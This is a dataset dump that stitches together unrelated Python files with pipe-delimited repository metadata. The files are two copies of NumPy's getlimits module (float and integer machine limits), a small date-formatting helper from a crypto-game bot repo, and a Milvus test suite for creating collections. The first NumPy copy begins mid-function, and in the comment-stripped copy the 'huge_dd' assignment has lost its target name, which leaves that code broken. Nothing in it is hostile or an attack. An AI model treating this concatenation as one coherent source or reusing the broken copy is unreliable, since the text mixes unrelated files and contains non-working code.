f16 = ntypes.float16
float16_ma = MachArLike(f16,
machep=-10,
negep=-11,
minexp=-14,
maxexp=16,
it=10,
iexp=5,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(f16(-10)),
epsneg=exp2(f16(-11)),
huge=f16(65504),
tiny=f16(2 ** -14))
_register_type(float16_ma, b'f\xae')
_float_ma[16] = float16_ma
# Known parameters for float32
f32 = ntypes.float32
float32_ma = MachArLike(f32,
machep=-23,
negep=-24,
minexp=-126,
maxexp=128,
it=23,
iexp=8,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(f32(-23)),
epsneg=exp2(f32(-24)),
huge=f32((1 - 2 ** -24) * 2**128),
tiny=exp2(f32(-126)))
_register_type(float32_ma, b'\xcd\xcc\xcc\xbd')
_float_ma[32] = float32_ma
# Known parameters for float64
f64 = ntypes.float64
epsneg_f64 = 2.0 ** -53.0
tiny_f64 = 2.0 ** -1022.0
float64_ma = MachArLike(f64,
machep=-52,
negep=-53,
minexp=-1022,
maxexp=1024,
it=52,
iexp=11,
ibeta=2,
irnd=5,
ngrd=0,
eps=2.0 ** -52.0,
epsneg=epsneg_f64,
huge=(1.0 - epsneg_f64) / tiny_f64 * f64(4),
tiny=tiny_f64)
_register_type(float64_ma, b'\x9a\x99\x99\x99\x99\x99\xb9\xbf')
_float_ma[64] = float64_ma
# Known parameters for IEEE 754 128-bit binary float
ld = ntypes.longdouble
epsneg_f128 = exp2(ld(-113))
tiny_f128 = exp2(ld(-16382))
# Ignore runtime error when this is not f128
with numeric.errstate(all='ignore'):
huge_f128 = (ld(1) - epsneg_f128) / tiny_f128 * ld(4)
float128_ma = MachArLike(ld,
machep=-112,
negep=-113,
minexp=-16382,
maxexp=16384,
it=112,
iexp=15,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-112)),
epsneg=epsneg_f128,
huge=huge_f128,
tiny=tiny_f128)
# IEEE 754 128-bit binary float
_register_type(float128_ma,
b'\x9a\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfb\xbf')
_register_type(float128_ma,
b'\x9a\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfb\xbf')
_float_ma[128] = float128_ma
# Known parameters for float80 (Intel 80-bit extended precision)
epsneg_f80 = exp2(ld(-64))
tiny_f80 = exp2(ld(-16382))
# Ignore runtime error when this is not f80
with numeric.errstate(all='ignore'):
huge_f80 = (ld(1) - epsneg_f80) / tiny_f80 * ld(4)
float80_ma = MachArLike(ld,
machep=-63,
negep=-64,
minexp=-16382,
maxexp=16384,
it=63,
iexp=15,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-63)),
epsneg=epsneg_f80,
huge=huge_f80,
tiny=tiny_f80)
# float80, first 10 bytes containing actual storage
_register_type(float80_ma, b'\xcd\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xfb\xbf')
_float_ma[80] = float80_ma
# Guessed / known parameters for double double; see:
# https://en.wikipedia.org/wiki/Quadruple-precision_floating-point_format#Double-double_arithmetic
# These numbers have the same exponent range as float64, but extended number of
# digits in the significand.
huge_dd = (umath.nextafter(ld(inf), ld(0))
if hasattr(umath, 'nextafter') # Missing on some platforms?
else float64_ma.huge)
float_dd_ma = MachArLike(ld,
machep=-105,
negep=-106,
minexp=-1022,
maxexp=1024,
it=105,
iexp=11,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-105)),
epsneg= exp2(ld(-106)),
huge=huge_dd,
tiny=exp2(ld(-1022)))
# double double; low, high order (e.g. PPC 64)
_register_type(float_dd_ma,
b'\x9a\x99\x99\x99\x99\x99Y<\x9a\x99\x99\x99\x99\x99\xb9\xbf')
# double double; high, low order (e.g. PPC 64 le)
_register_type(float_dd_ma,
b'\x9a\x99\x99\x99\x99\x99\xb9\xbf\x9a\x99\x99\x99\x99\x99Y<')
_float_ma['dd'] = float_dd_ma
def _get_machar(ftype):
""" Get MachAr instance or MachAr-like instance
Get parameters for floating point type, by first trying signatures of
various known floating point types, then, if none match, attempting to
identify parameters by analysis.
Parameters
----------
ftype : class
Numpy floating point type class (e.g. ``np.float64``)
Returns
-------
ma_like : instance of :class:`MachAr` or :class:`MachArLike`
Object giving floating point parameters for `ftype`.
Warns
-----
UserWarning
If the binary signature of the float type is not in the dictionary of
known float types.
"""
params = _MACHAR_PARAMS.get(ftype)
if params is None:
raise ValueError(repr(ftype))
# Detect known / suspected types
key = ftype('-0.1').newbyteorder('<').tobytes()
ma_like = _KNOWN_TYPES.get(key)
# Could be 80 bit == 10 byte extended precision, where last bytes can be
# random garbage. Try comparing first 10 bytes to pattern.
if ma_like is None and ftype == ntypes.longdouble:
ma_like = _KNOWN_TYPES.get(key[:10])
if ma_like is not None:
return ma_like
# Fall back to parameter discovery
warnings.warn(
'Signature {} for {} does not match any known type: '
'falling back to type probe function'.format(key, ftype),
UserWarning, stacklevel=2)
return _discovered_machar(ftype)
def _discovered_machar(ftype):
""" Create MachAr instance with found information on float types
"""
params = _MACHAR_PARAMS[ftype]
return MachAr(lambda v: array([v], ftype),
lambda v:_fr0(v.astype(params['itype']))[0],
lambda v:array(_fr0(v)[0], ftype),
lambda v: params['fmt'] % array(_fr0(v)[0], ftype),
params['title'])
@set_module('numpy')
class finfo:
"""
finfo(dtype)
Machine limits for floating point types.
Attributes
----------
bits : int
The number of bits occupied by the type.
eps : float
The difference between 1.0 and the next smallest representable float
larger than 1.0. For example, for 64-bit binary floats in the IEEE-754
standard, ``eps = 2**-52``, approximately 2.22e-16.
epsneg : float
The difference between 1.0 and the next smallest representable float
less than 1.0. For example, for 64-bit binary floats in the IEEE-754
standard, ``epsneg = 2**-53``, approximately 1.11e-16.
iexp : int
The number of bits in the exponent portion of the floating point
representation.
machar : MachAr
The object which calculated these parameters and holds more
detailed information.
machep : int
The exponent that yields `eps`.
max : floating point number of the appropriate type
The largest representable number.
maxexp : int
The smallest positive power of the base (2) that causes overflow.
min : floating point number of the appropriate type
The smallest representable number, typically ``-max``.
minexp : int
The most negative power of the base (2) consistent with there
being no leading 0's in the mantissa.
negep : int
The exponent that yields `epsneg`.
nexp : int
The number of bits in the exponent including its sign and bias.
nmant : int
The number of bits in the mantissa.
precision : int
The approximate number of decimal digits to which this kind of
float is precise.
resolution : floating point number of the appropriate type
The approximate decimal resolution of this type, i.e.,
``10**-precision``.
tiny : float
The smallest positive floating point number with full precision
(see Notes).
Parameters
----------
dtype : float, dtype, or instance
Kind of floating point data-type about which to get information.
See Also
--------
MachAr : The implementation of the tests that produce this information.
iinfo : The equivalent for integer data types.
spacing : The distance between a value and the nearest adjacent number
nextafter : The next floating point value after x1 towards x2
Notes
-----
For developers of NumPy: do not instantiate this at the module level.
The initial calculation of these parameters is expensive and negatively
impacts import times. These objects are cached, so calling ``finfo()``
repeatedly inside your functions is not a problem.
Note that ``tiny`` is not actually the smallest positive representable
value in a NumPy floating point type. As in the IEEE-754 standard [1]_,
NumPy floating point types make use of subnormal numbers to fill the
gap between 0 and ``tiny``. However, subnormal numbers may have
significantly reduced precision [2]_.
References
----------
.. [1] IEEE Standard for Floating-Point Arithmetic, IEEE Std 754-2008,
pp.1-70, 2008, http://www.doi.org/10.1109/IEEESTD.2008.4610935
.. [2] Wikipedia, "Denormal Numbers",
https://en.wikipedia.org/wiki/Denormal_number
"""
_finfo_cache = {}
def __new__(cls, dtype):
try:
dtype = numeric.dtype(dtype)
except TypeError:
# In case a float instance was given
dtype = numeric.dtype(type(dtype))
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
dtypes = [dtype]
newdtype = numeric.obj2sctype(dtype)
if newdtype is not dtype:
dtypes.append(newdtype)
dtype = newdtype
if not issubclass(dtype, numeric.inexact):
raise ValueError("data type %r not inexact" % (dtype))
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
if not issubclass(dtype, numeric.floating):
newdtype = _convert_to_float[dtype]
if newdtype is not dtype:
dtypes.append(newdtype)
dtype = newdtype
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
obj = object.__new__(cls)._init(dtype)
for dt in dtypes:
cls._finfo_cache[dt] = obj
return obj
def _init(self, dtype):
self.dtype = numeric.dtype(dtype)
machar = _get_machar(dtype)
for word in ['precision', 'iexp',
'maxexp', 'minexp', 'negep',
'machep']:
setattr(self, word, getattr(machar, word))
for word in ['tiny', 'resolution', 'epsneg']:
setattr(self, word, getattr(machar, word).flat[0])
self.bits = self.dtype.itemsize * 8
self.max = machar.huge.flat[0]
self.min = -self.max
self.eps = machar.eps.flat[0]
self.nexp = machar.iexp
self.nmant = machar.it
self.machar = machar
self._str_tiny = machar._str_xmin.strip()
self._str_max = machar._str_xmax.strip()
self._str_epsneg = machar._str_epsneg.strip()
self._str_eps = machar._str_eps.strip()
self._str_resolution = machar._str_resolution.strip()
return self
def __str__(self):
fmt = (
'Machine parameters for %(dtype)s\n'
'---------------------------------------------------------------\n'
'precision = %(precision)3s resolution = %(_str_resolution)s\n'
'machep = %(machep)6s eps = %(_str_eps)s\n'
'negep = %(negep)6s epsneg = %(_str_epsneg)s\n'
'minexp = %(minexp)6s tiny = %(_str_tiny)s\n'
'maxexp = %(maxexp)6s max = %(_str_max)s\n'
'nexp = %(nexp)6s min = -max\n'
'---------------------------------------------------------------\n'
)
return fmt % self.__dict__
def __repr__(self):
c = self.__class__.__name__
d = self.__dict__.copy()
d['klass'] = c
return (("%(klass)s(resolution=%(resolution)s, min=-%(_str_max)s,"
" max=%(_str_max)s, dtype=%(dtype)s)") % d)
@set_module('numpy')
class iinfo:
"""
iinfo(type)
Machine limits for integer types.
Attributes
----------
bits : int
The number of bits occupied by the type.
min : int
The smallest integer expressible by the type.
max : int
The largest integer expressible by the type.
Parameters
----------
int_type : integer type, dtype, or instance
The kind of integer data type to get information about.
See Also
--------
finfo : The equivalent for floating point data types.
Examples
--------
With types:
>>> ii16 = np.iinfo(np.int16)
>>> ii16.min
-32768
>>> ii16.max
32767
>>> ii32 = np.iinfo(np.int32)
>>> ii32.min
-2147483648
>>> ii32.max
2147483647
With instances:
>>> ii32 = np.iinfo(np.int32(10))
>>> ii32.min
-2147483648
>>> ii32.max
2147483647
"""
_min_vals = {}
_max_vals = {}
def __init__(self, int_type):
try:
self.dtype = numeric.dtype(int_type)
except TypeError:
self.dtype = numeric.dtype(type(int_type))
self.kind = self.dtype.kind
self.bits = self.dtype.itemsize * 8
self.key = "%s%d" % (self.kind, self.bits)
if self.kind not in 'iu':
raise ValueError("Invalid integer data type %r." % (self.kind,))
@property
def min(self):
"""Minimum value of given dtype."""
if self.kind == 'u':
return 0
else:
try:
val = iinfo._min_vals[self.key]
except KeyError:
val = int(-(1 << (self.bits-1)))
iinfo._min_vals[self.key] = val
return val
@property
def max(self):
"""Maximum value of given dtype."""
try:
val = iinfo._max_vals[self.key]
except KeyError:
if self.kind == 'u':
val = int((1 << self.bits) - 1)
else:
val = int((1 << (self.bits-1)) - 1)
iinfo._max_vals[self.key] = val
return val
def __str__(self):
"""String representation."""
fmt = (
'Machine parameters for %(dtype)s\n'
'---------------------------------------------------------------\n'
'min = %(min)s\n'
'max = %(max)s\n'
'---------------------------------------------------------------\n'
)
return fmt % {'dtype': self.dtype, 'min': self.min, 'max': self.max}
def __repr__(self):
return "%s(min=%s, max=%s, dtype=%s)" % (self.__class__.__name__,
self.min, self.max, self.dtype)
| 35.074866 | 102 | 0.533415 | __all__ = ['finfo', 'iinfo']
import warnings
from .machar import MachAr
from .overrides import set_module
from . import numeric
from . import numerictypes as ntypes
from .numeric import array, inf
from .umath import log10, exp2
from . import umath
def _fr0(a):
if a.ndim == 0:
a = a.copy()
a.shape = (1,)
return a
def _fr1(a):
if a.size == 1:
a = a.copy()
a.shape = ()
return a
class MachArLike:
def __init__(self,
ftype,
*, eps, epsneg, huge, tiny, ibeta, **kwargs):
params = _MACHAR_PARAMS[ftype]
float_conv = lambda v: array([v], ftype)
float_to_float = lambda v : _fr1(float_conv(v))
float_to_str = lambda v: (params['fmt'] % array(_fr0(v)[0], ftype))
self.title = params['title']
self.epsilon = self.eps = float_to_float(eps)
self.epsneg = float_to_float(epsneg)
self.xmax = self.huge = float_to_float(huge)
self.xmin = self.tiny = float_to_float(tiny)
self.ibeta = params['itype'](ibeta)
self.__dict__.update(kwargs)
self.precision = int(-log10(self.eps))
self.resolution = float_to_float(float_conv(10) ** (-self.precision))
self._str_eps = float_to_str(self.eps)
self._str_epsneg = float_to_str(self.epsneg)
self._str_xmin = float_to_str(self.xmin)
self._str_xmax = float_to_str(self.xmax)
self._str_resolution = float_to_str(self.resolution)
_convert_to_float = {
ntypes.csingle: ntypes.single,
ntypes.complex_: ntypes.float_,
ntypes.clongfloat: ntypes.longfloat
}
_title_fmt = 'numpy {} precision floating point number'
_MACHAR_PARAMS = {
ntypes.double: dict(
itype = ntypes.int64,
fmt = '%24.16e',
title = _title_fmt.format('double')),
ntypes.single: dict(
itype = ntypes.int32,
fmt = '%15.7e',
title = _title_fmt.format('single')),
ntypes.longdouble: dict(
itype = ntypes.longlong,
fmt = '%s',
title = _title_fmt.format('long double')),
ntypes.half: dict(
itype = ntypes.int16,
fmt = '%12.5e',
title = _title_fmt.format('half'))}
_KNOWN_TYPES = {}
def _register_type(machar, bytepat):
_KNOWN_TYPES[bytepat] = machar
_float_ma = {}
def _register_known_types():
f16 = ntypes.float16
float16_ma = MachArLike(f16,
machep=-10,
negep=-11,
minexp=-14,
maxexp=16,
it=10,
iexp=5,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(f16(-10)),
epsneg=exp2(f16(-11)),
huge=f16(65504),
tiny=f16(2 ** -14))
_register_type(float16_ma, b'f\xae')
_float_ma[16] = float16_ma
f32 = ntypes.float32
float32_ma = MachArLike(f32,
machep=-23,
negep=-24,
minexp=-126,
maxexp=128,
it=23,
iexp=8,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(f32(-23)),
epsneg=exp2(f32(-24)),
huge=f32((1 - 2 ** -24) * 2**128),
tiny=exp2(f32(-126)))
_register_type(float32_ma, b'\xcd\xcc\xcc\xbd')
_float_ma[32] = float32_ma
f64 = ntypes.float64
epsneg_f64 = 2.0 ** -53.0
tiny_f64 = 2.0 ** -1022.0
float64_ma = MachArLike(f64,
machep=-52,
negep=-53,
minexp=-1022,
maxexp=1024,
it=52,
iexp=11,
ibeta=2,
irnd=5,
ngrd=0,
eps=2.0 ** -52.0,
epsneg=epsneg_f64,
huge=(1.0 - epsneg_f64) / tiny_f64 * f64(4),
tiny=tiny_f64)
_register_type(float64_ma, b'\x9a\x99\x99\x99\x99\x99\xb9\xbf')
_float_ma[64] = float64_ma
ld = ntypes.longdouble
epsneg_f128 = exp2(ld(-113))
tiny_f128 = exp2(ld(-16382))
with numeric.errstate(all='ignore'):
huge_f128 = (ld(1) - epsneg_f128) / tiny_f128 * ld(4)
float128_ma = MachArLike(ld,
machep=-112,
negep=-113,
minexp=-16382,
maxexp=16384,
it=112,
iexp=15,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-112)),
epsneg=epsneg_f128,
huge=huge_f128,
tiny=tiny_f128)
_register_type(float128_ma,
b'\x9a\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfb\xbf')
_register_type(float128_ma,
b'\x9a\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xfb\xbf')
_float_ma[128] = float128_ma
epsneg_f80 = exp2(ld(-64))
tiny_f80 = exp2(ld(-16382))
with numeric.errstate(all='ignore'):
huge_f80 = (ld(1) - epsneg_f80) / tiny_f80 * ld(4)
float80_ma = MachArLike(ld,
machep=-63,
negep=-64,
minexp=-16382,
maxexp=16384,
it=63,
iexp=15,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-63)),
epsneg=epsneg_f80,
huge=huge_f80,
tiny=tiny_f80)
_register_type(float80_ma, b'\xcd\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xfb\xbf')
_float_ma[80] = float80_ma
(umath.nextafter(ld(inf), ld(0))
if hasattr(umath, 'nextafter')
else float64_ma.huge)
float_dd_ma = MachArLike(ld,
machep=-105,
negep=-106,
minexp=-1022,
maxexp=1024,
it=105,
iexp=11,
ibeta=2,
irnd=5,
ngrd=0,
eps=exp2(ld(-105)),
epsneg= exp2(ld(-106)),
huge=huge_dd,
tiny=exp2(ld(-1022)))
_register_type(float_dd_ma,
b'\x9a\x99\x99\x99\x99\x99Y<\x9a\x99\x99\x99\x99\x99\xb9\xbf')
_register_type(float_dd_ma,
b'\x9a\x99\x99\x99\x99\x99\xb9\xbf\x9a\x99\x99\x99\x99\x99Y<')
_float_ma['dd'] = float_dd_ma
def _get_machar(ftype):
params = _MACHAR_PARAMS.get(ftype)
if params is None:
raise ValueError(repr(ftype))
key = ftype('-0.1').newbyteorder('<').tobytes()
ma_like = _KNOWN_TYPES.get(key)
if ma_like is None and ftype == ntypes.longdouble:
ma_like = _KNOWN_TYPES.get(key[:10])
if ma_like is not None:
return ma_like
warnings.warn(
'Signature {} for {} does not match any known type: '
'falling back to type probe function'.format(key, ftype),
UserWarning, stacklevel=2)
return _discovered_machar(ftype)
def _discovered_machar(ftype):
params = _MACHAR_PARAMS[ftype]
return MachAr(lambda v: array([v], ftype),
lambda v:_fr0(v.astype(params['itype']))[0],
lambda v:array(_fr0(v)[0], ftype),
lambda v: params['fmt'] % array(_fr0(v)[0], ftype),
params['title'])
@set_module('numpy')
class finfo:
_finfo_cache = {}
def __new__(cls, dtype):
try:
dtype = numeric.dtype(dtype)
except TypeError:
dtype = numeric.dtype(type(dtype))
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
dtypes = [dtype]
newdtype = numeric.obj2sctype(dtype)
if newdtype is not dtype:
dtypes.append(newdtype)
dtype = newdtype
if not issubclass(dtype, numeric.inexact):
raise ValueError("data type %r not inexact" % (dtype))
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
if not issubclass(dtype, numeric.floating):
newdtype = _convert_to_float[dtype]
if newdtype is not dtype:
dtypes.append(newdtype)
dtype = newdtype
obj = cls._finfo_cache.get(dtype, None)
if obj is not None:
return obj
obj = object.__new__(cls)._init(dtype)
for dt in dtypes:
cls._finfo_cache[dt] = obj
return obj
def _init(self, dtype):
self.dtype = numeric.dtype(dtype)
machar = _get_machar(dtype)
for word in ['precision', 'iexp',
'maxexp', 'minexp', 'negep',
'machep']:
setattr(self, word, getattr(machar, word))
for word in ['tiny', 'resolution', 'epsneg']:
setattr(self, word, getattr(machar, word).flat[0])
self.bits = self.dtype.itemsize * 8
self.max = machar.huge.flat[0]
self.min = -self.max
self.eps = machar.eps.flat[0]
self.nexp = machar.iexp
self.nmant = machar.it
self.machar = machar
self._str_tiny = machar._str_xmin.strip()
self._str_max = machar._str_xmax.strip()
self._str_epsneg = machar._str_epsneg.strip()
self._str_eps = machar._str_eps.strip()
self._str_resolution = machar._str_resolution.strip()
return self
def __str__(self):
fmt = (
'Machine parameters for %(dtype)s\n'
'---------------------------------------------------------------\n'
'precision = %(precision)3s resolution = %(_str_resolution)s\n'
'machep = %(machep)6s eps = %(_str_eps)s\n'
'negep = %(negep)6s epsneg = %(_str_epsneg)s\n'
'minexp = %(minexp)6s tiny = %(_str_tiny)s\n'
'maxexp = %(maxexp)6s max = %(_str_max)s\n'
'nexp = %(nexp)6s min = -max\n'
'---------------------------------------------------------------\n'
)
return fmt % self.__dict__
def __repr__(self):
c = self.__class__.__name__
d = self.__dict__.copy()
d['klass'] = c
return (("%(klass)s(resolution=%(resolution)s, min=-%(_str_max)s,"
" max=%(_str_max)s, dtype=%(dtype)s)") % d)
@set_module('numpy')
class iinfo:
_min_vals = {}
_max_vals = {}
def __init__(self, int_type):
try:
self.dtype = numeric.dtype(int_type)
except TypeError:
self.dtype = numeric.dtype(type(int_type))
self.kind = self.dtype.kind
self.bits = self.dtype.itemsize * 8
self.key = "%s%d" % (self.kind, self.bits)
if self.kind not in 'iu':
raise ValueError("Invalid integer data type %r." % (self.kind,))
@property
def min(self):
if self.kind == 'u':
return 0
else:
try:
val = iinfo._min_vals[self.key]
except KeyError:
val = int(-(1 << (self.bits-1)))
iinfo._min_vals[self.key] = val
return val
@property
def max(self):
try:
val = iinfo._max_vals[self.key]
except KeyError:
if self.kind == 'u':
val = int((1 << self.bits) - 1)
else:
val = int((1 << (self.bits-1)) - 1)
iinfo._max_vals[self.key] = val
return val
def __str__(self):
fmt = (
'Machine parameters for %(dtype)s\n'
'---------------------------------------------------------------\n'
'min = %(min)s\n'
'max = %(max)s\n'
'---------------------------------------------------------------\n'
)
return fmt % {'dtype': self.dtype, 'min': self.min, 'max': self.max}
def __repr__(self):
return "%s(min=%s, max=%s, dtype=%s)" % (self.__class__.__name__,
self.min, self.max, self.dtype)
| true | true |
f73c2247b553f98169bd3fd146f4ad5a10431f08 | 162 | py | Python | src/date.py | joaovitorlopes/bombcrypto-bot | 3994964b3c695e6154f81ab8ebcf91d8a50b77bb | [
"MIT"
] | null | null | null | src/date.py | joaovitorlopes/bombcrypto-bot | 3994964b3c695e6154f81ab8ebcf91d8a50b77bb | [
"MIT"
] | null | null | null | src/date.py | joaovitorlopes/bombcrypto-bot | 3994964b3c695e6154f81ab8ebcf91d8a50b77bb | [
"MIT"
] | null | null | null | import time
def dateFormatted(format = '%Y-%m-%d %H:%M:%S'):
datetime = time.localtime()
formatted = time.strftime(format, datetime)
return formatted | 27 | 48 | 0.67284 | import time
def dateFormatted(format = '%Y-%m-%d %H:%M:%S'):
datetime = time.localtime()
formatted = time.strftime(format, datetime)
return formatted | true | true |
f73c22f3af8a84b65606f8f91c87ad5dec54be4c | 12,497 | py | Python | tests/python_test/collection/test_create_collection.py | chriswarnock/milvus | ff4754a638a491adf7eca9952e1057272ba5d1a4 | [
"Apache-2.0"
] | null | null | null | tests/python_test/collection/test_create_collection.py | chriswarnock/milvus | ff4754a638a491adf7eca9952e1057272ba5d1a4 | [
"Apache-2.0"
] | null | null | null | tests/python_test/collection/test_create_collection.py | chriswarnock/milvus | ff4754a638a491adf7eca9952e1057272ba5d1a4 | [
"Apache-2.0"
] | null | null | null | import pdb
import copy
import logging
import itertools
import time
import threading
from multiprocessing import Process
import sklearn.preprocessing
import pytest
from utils import *
from constants import *
uid = "create_collection"
class TestCreateCollection:
"""
******************************************************************
The following cases are used to test `create_collection` function
******************************************************************
"""
@pytest.fixture(
scope="function",
params=gen_single_filter_fields()
)
def get_filter_field(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_single_vector_fields()
)
def get_vector_field(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_segment_row_limits()
)
def get_segment_row_limit(self, request):
yield request.param
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_fields(self, connect, get_filter_field, get_vector_field):
'''
target: test create normal collection with different fields
method: create collection with diff fields: metric/field_type/...
expected: no exception raised
'''
filter_field = get_filter_field
logging.getLogger().info(filter_field)
vector_field = get_vector_field
collection_name = gen_unique_str(uid)
fields = {
"fields": [gen_primary_field(), filter_field, vector_field],
# "segment_row_limit": default_segment_row_limit
}
logging.getLogger().info(fields)
connect.create_collection(collection_name, fields)
assert connect.has_collection(collection_name)
def _test_create_collection_segment_row_limit(self, connect, get_segment_row_limit):
'''
target: test create normal collection with different fields
method: create collection with diff segment_row_limit
expected: no exception raised
'''
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
# fields["segment_row_limit"] = get_segment_row_limit
connect.create_collection(collection_name, fields)
assert connect.has_collection(collection_name)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_after_insert(self, connect, collection):
'''
target: test insert vector, then create collection again
method: insert vector and create collection
expected: error raised
'''
# pdb.set_trace()
connect.insert(collection, default_entity)
try:
connect.create_collection(collection, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_after_insert_flush(self, connect, collection):
'''
target: test insert vector, then create collection again
method: insert vector and create collection
expected: error raised
'''
connect.insert(collection, default_entity)
# connect.flush([collection])
try:
connect.create_collection(collection, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection
# TODO: assert exception
def test_create_collection_without_connection(self, dis_connect):
'''
target: test create collection, without connection
method: create collection with correct params, with a disconnected instance
expected: error raised
'''
collection_name = gen_unique_str(uid)
with pytest.raises(Exception) as e:
dis_connect.create_collection(collection_name, default_fields)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_existed(self, connect):
'''
target: test create collection but the collection name have already existed
method: create collection with the same collection_name
expected: error raised
'''
collection_name = gen_unique_str(uid)
connect.create_collection(collection_name, default_fields)
try:
connect.create_collection(collection_name, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection_name
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_after_drop_collection(self, connect, collection):
'''
target: create with the same collection name after collection dropped
method: delete, then create
expected: create success
'''
connect.drop_collection(collection)
time.sleep(2)
connect.create_collection(collection, default_fields)
@pytest.mark.level(2)
def test_create_collection_multithread(self, connect):
'''
target: test create collection with multithread
method: create collection using multithread,
expected: collections are created
'''
threads_num = 8
threads = []
collection_names = []
def create():
collection_name = gen_unique_str(uid)
collection_names.append(collection_name)
connect.create_collection(collection_name, default_fields)
for i in range(threads_num):
t = MyThread(target=create, args=())
threads.append(t)
t.start()
time.sleep(0.2)
for t in threads:
t.join()
for item in collection_names:
assert item in connect.list_collections()
connect.drop_collection(item)
class TestCreateCollectionInvalid(object):
"""
Test creating collections with invalid params
"""
@pytest.fixture(
scope="function",
params=gen_invalid_metric_types()
)
def get_metric_type(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_ints()
)
def get_segment_row_limit(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_ints()
)
def get_dim(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_strs()
)
def get_invalid_string(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_field_types()
)
def get_field_type(self, request):
yield request.param
@pytest.mark.level(2)
def _test_create_collection_with_invalid_segment_row_limit(self, connect, get_segment_row_limit):
collection_name = gen_unique_str()
fields = copy.deepcopy(default_fields)
fields["segment_row_limit"] = get_segment_row_limit
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
@pytest.mark.level(2)
def test_create_collection_with_invalid_dimension(self, connect, get_dim):
dimension = get_dim
collection_name = gen_unique_str()
fields = copy.deepcopy(default_fields)
fields["fields"][-1]["params"]["dim"] = dimension
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
@pytest.mark.level(2)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_with_invalid_collection_name(self, connect, get_invalid_string):
collection_name = get_invalid_string
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, default_fields)
@pytest.mark.level(2)
@pytest.mark.parametrize("collection_name", ('', None))
def test_create_collection_with_empty_or_None_collection_name(self, connect, collection_name):
# collection_name = ''
try:
connect.create_collection(collection_name, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Collection name should not be empty"
def test_create_collection_no_dimension(self, connect):
'''
target: test create collection with no dimension params
method: create collection with correct params
expected: create status return ok
'''
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
fields["fields"][-1]["params"].pop("dim")
try:
connect.create_collection(collection_name, fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "dimension is not defined in field type params"
def _test_create_collection_no_segment_row_limit(self, connect):
'''
target: test create collection with no segment_row_limit params
method: create collection with correct params
expected: use default default_segment_row_limit
'''
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
fields.pop("segment_row_limit")
connect.create_collection(collection_name, fields)
res = connect.get_collection_info(collection_name)
logging.getLogger().info(res)
assert res["segment_row_limit"] == default_server_segment_row_limit
# TODO: assert exception
def test_create_collection_limit_fields(self, connect):
collection_name = gen_unique_str(uid)
limit_num = 64
fields = copy.deepcopy(default_fields)
for i in range(limit_num):
field_name = gen_unique_str("field_name")
field = {"name": field_name, "type": DataType.INT64}
fields["fields"].append(field)
try:
connect.create_collection(collection_name, fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "maximum field's number should be limited to 64"
# TODO: assert exception
@pytest.mark.level(2)
def test_create_collection_invalid_field_name(self, connect, get_invalid_string):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
field_name = get_invalid_string
field = {"name": field_name, "type": DataType.INT64}
fields["fields"].append(field)
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
# TODO: assert exception
def test_create_collection_invalid_field_type(self, connect, get_field_type):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
field_type = get_field_type
field = {"name": "test_field", "type": field_type}
fields["fields"].append(field)
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
